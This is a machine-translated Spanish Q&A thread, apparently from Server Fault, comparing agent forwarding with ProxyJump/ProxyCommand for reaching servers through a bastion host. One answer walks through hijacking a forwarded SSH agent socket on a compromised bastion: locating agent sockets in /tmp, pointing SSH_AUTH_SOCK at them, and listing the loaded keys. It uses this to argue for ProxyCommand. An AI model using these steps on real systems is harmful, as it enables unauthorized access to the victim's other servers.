Servidor Bastion: use el reenvío TCP VS colocar la clave privada en el servidor

10

Tenemos el servidor B de bastión. Necesitamos SSH de A a B a C, usando una clave privada.

¿Cuál es la mejor opción?

  • Ponga la clave SSH privada en el servidor B. Leemos que es una mala idea hacerlo en un entorno de producción.

    Desde aquí :

    Nunca coloque sus claves privadas SSH en la instancia de bastión. En su lugar, utilice el reenvío de agente SSH para conectarse primero al bastión y de allí a otras instancias en subredes privadas. Esto le permite mantener su clave privada SSH solo en su computadora.

  • Utilice el reenvío de agentes SSH . Para configurar el reenvío de agentes, necesito permitir el reenvío de TCP. Al configurar el reenvío de agente, se crea un archivo de socket en el host de reenvío, que es el mecanismo por el cual la clave se puede reenviar al destino. En la configuración de Bastión en AWS:

    Reenvío de TCP: establecer este valor en verdadero habilitará el reenvío de TCP (túnel SSH). Esto puede ser muy útil, pero también es un riesgo de seguridad, por lo que recomendamos mantener la configuración predeterminada (deshabilitada) a menos que sea necesario

    También desde aquí :

    SSH Agent Forwarding considerado perjudicial

¿Qué es mejor? ¿Qué pasa con la alternativa del segundo enlace: ProxyCommand , entiendo que ayuda con el problema del archivo de socket, pero todavía creo que tengo que habilitar el reenvío TCP, entonces, es lo suficientemente seguro?

user2503775
fuente
2
Con ProxyCommand no necesita habilitar el reenvío TCP. El reenvío se realiza mediante ssh en el host intermedio.
wurtel
Gracias. ¿El archivo de configuración debería ser? en mi computadora o en el bastión?
user2503775
En su sistema local, donde ingresará el ssh hostbcomando, para que pueda buscar hostb en la configuración local y saber que necesita conectarse a través de hosta. No podría hacer eso si pones la configuración en hosta ...
wurtel
¿Dónde se almacenará la clave privada del servidor C? también en mi comp? Estoy usando keepass con keeAgent
user2503775
2
Me temo que estás confundiendo el reenvío TCP con el reenvío de agentes . Son cosas diferentes.
MLu

Respuestas:

13

Use ProxyCommand o ProxyJump

Recomendaría usar ProxyCommand(o incluso mejor, ProxyJumpya que la sintaxis es más fácil pero requiere openssh 7.3+, creo que en el lado del cliente), y no es necesario implementar una clave privada en el Bastión, todo permanece local.

Ejemplo con ProxyJump

En su computadora cliente, escribe un archivo debajo ~/.ssh/configcon un contenido similar al siguiente:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Luego, ssh srvClo conectará a C a través de B (bastión) sin reenvío de agente ni desplegará la clave privada en el bastión.

En el ejemplo anterior, "bastion" es un alias para su host Bastion y srvC es un alias para su servidor C. En el caso de HostNameque necesite poner IP o un nombre de dominio completo para sus hosts. Para los usuarios, debe actualizar el Usernombre de inicio de sesión correcto en el Bastión y el servidor C. Finalmente, IdentityFilees opcional si utiliza un agente local (por ejemplo, KeeAgent o ssh-agent), pero si no se está ejecutando, también lo hará. trabajar y pedirle cada una de las frases clave.

Implementar las claves públicas

Por supuesto, debe implementar las claves públicas en bastión y srvC. Puede usar (el signo $ es solo para ilustrar el mensaje, no lo escriba):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Nota: lo anterior solo funcionará si la autenticación de contraseña todavía está permitida. Después de la implementación anterior y de verificar que todo funciona según lo previsto, no debe permitir la autenticación de contraseña en los 2 servidores.

Ejemplo con ProxyCommand en lugar de ProxyJump

Si tiene una versión anterior de OpenSSH que no es compatible ProxyJump(en el lado del cliente), reemplace:

ProxyJump bastion

por

ProxyCommand ssh -q -W %h:%p bastion

Por lo que entendí, esto es similar.

Huygens
fuente
¡Gracias! Trabajo con Linux, pero tenemos algunos miembros del equipo trabajando en Windows. Debería funcionar allí también, ¿no?
user2503775
¿Qué cliente SSH van a usar? OpenSSH (a través de WSL, cygwin o etc.) o PuTTY (u otra herramienta basada en PuTTY) como MobaXterm?
Huygens
Algunos de ellos usan PuTTy y otros usan ssh a través de Git Shell.
user2503775
@ user2503775 Nunca lo he intentado con PuTTY, pero parece que es posible utilizando el enfoque ProxyCommand, consulte aquí: stackoverflow.com/a/28937185
Huygens
1
Muchas gracias por la respuesta detallada!
user2503775
5

Vi la respuesta sobre ProxyJump. Hablemos de ProxyCommand .

Pero espera, espera! Puedo escribirte cómo hackear el servidor que usa el reenvío de agentes, ¡sería mucho más fácil entender la diferencia!

Vamos a hackear

Para los pasos básicos: puedes leer mi publicación aquí

Los pasos básicos son los siguientes:

  1. Crear usuarios de bastión
  2. Deshabilitar inicio de sesión raíz
  3. Bloquear intentos de piratería
  4. Cambiar puerto
  5. Configurar firewall
  6. Configurar SELinux

Cómo usar AgentForwarding

-Crea la configuración en ~ / .ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Agregue su clave de autenticación a ssh-agent

ssh-add ~/.ssh/name_rsa

-Conecte al bastión hos

ssh bast

-Conecte el servidor de aplicaciones desde el bastión

 ssh app@IP -p PORT

¡Hackear!

Puedes, bueno, hacerme la pregunta:

  • ¿Es seguro mi servidor? Y la respuesta es bastante simple:

    • ¡NO!
  • ¿Por qué?

    • ¡Porque está utilizando el reenvío de agente SSH!
  • ¿Y dónde está el problema?

    • Porque el reenvío de agentes es peligroso y se considera perjudicial.
  • ¿Por qué?

    • Expliquemos todo al revés: cuando conecta el servidor bastion, su glorioso agente ssh se reenvía. Significa que el socket se configurará para que alguien pueda usar estos datos de socket para acceder a sus servidores. Imagine que su servidor de bastión está comprometido. Si alguien tiene permisos suficientes en su servidor Linux, solo usará la información de su socket. Como resultado, se puede acceder a todo su servidor. Sé que la ventana de compromiso es muy pequeña porque depende de cuánto tiempo esté conectado al host del bastión. Pero, ¿realmente quiere arriesgarse cuando tiene otras opciones como ProxyCommand? Por lo tanto, ¡solo use ProxyCommand!

¿Cómo hackear servidores si comprometiste el servidor bastion?

Seguir objetivo

En el directorio / tmp puede ver algo así:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Abramos el archivo temporal

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Veamos las conexiones a este id de proceso.

netstat -nxp | grep  10507

resultado:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

y quien esta conectado

lsof -i -a -p 10507

resultado:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

También podemos ver archivos de socket:

cd /proc/10507/fd/
ls

resultado:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

¿ Y qué sucede cuando el cliente se conectará al servidor remoto? veamos:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Incluso podemos ver si el archivo de socket se usa usando netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Robar información de socket y dirección IP

Ahora necesitamos robar la información del socket mientras la sesión del servidor bastión está abierta . Oh, también necesitamos la IP del servidor de destino , así que solo use netstat:

netstat -tn

El paso final para usar el archivo de socket reenviado

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Verifique si la llave está cargada .

ssh-add -l

El resultado debería ser algo así :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

El servidor está pirateado, ¿cómo solucionar el problema de seguridad?

Comando proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Para operaciones básicas: cómo transferir archivos a través de los servidores (de cliente a servidor, de servidor a cliente), puede leer mi publicación aquí

Conclusión

  • Si usa el servidor bastion, no use AgentForwarding pero use ProxyCommand
  • Utilice siempre usuarios no root para la autenticación
  • Use un firewall y bloquee todas las conexiones innecesarias.
  • Utilice SELinux (en general)
  • Bloquee la dirección IP que intenta iniciar sesión varias veces con credenciales incorrectas
  • Si no es necesario, no le dé permiso de sudo al usuario
  • Monitoree su servidor
  • Actualice su servidor para parches de seguridad

Más información, mira mi blog . Además, tengo algunas capturas de pantalla, por lo que puede ser útil para usted.

grep
fuente
¡Muchas gracias! en realidad, utilizamos también el autenticador de Google al iniciar sesión.
user2503775
Estoy recibiendo un error al intentar llamar aplicación ssh: channel 0: open failed: administratively prohibited: open failed. stdio forwarding failed. . ¿Tienes idea de por qué? En el registro seguro veo:refused local port forward: originator 127.0.0.1 port 65535, target *app-ip* port 22
user2503775
Información genial Un pequeño consejo para mejorar la legibilidad de su respuesta. No copie / pegue el contenido de su blog aquí. Proporcione el enlace y solo un resumen. Luego resalte la parte de la respuesta real (que para usted está usando ProxyCommand). Te vi como que lo probaste al principio, pero dada la parte de copiar / pegar fue un poco confuso. De todos modos +1
Huygens
@ user2503775 Debería ser un problema diferente, no relacionado con el comando ssh-agent forwarding / proxy. Abramos una nueva pregunta con registros.
grep
4

Simplemente use el reenvío de agentes SSH como la mayoría de los demás.

  • Las claves estarán en agente ssh en su computadora portátil.
  • Inicia sesión en el bastión, autenticado a través del agente.
  • Desde allí, inicie sesión en su host de destino, con la solicitud de autenticación reenviada a su computadora portátil .

Ventaja: no hay claves almacenadas en el bastión que puedan ser mal utilizadas.

Espero que ayude :)

MLu
fuente
Hola, eso es básicamente lo que el OP describe en su segunda viñeta. Le aconsejo que revise el segundo enlace provisto en la pregunta.
Huygens
@Huygens cierto, me di cuenta ahora. Lo superé mientras mezcla el reenvío TCP con el reenvío del agente.
MLu
De hecho, esto está mezclado :-)
Huygens
No está mezclado Entiendo la diferencia. Edité la pregunta para aclararla.
user2503775
Escribí una respuesta, cómo hackear el reenvío de agentes (no hay una clave pero hay un socket abierto). En general, el reenvío de agentes está bien porque la posibilidad de robar las claves es muy baja: en primer lugar, debe hackear el host del bastión. De todos modos puedes ver mi respuesta: serverfault.com/a/958466/476642
grep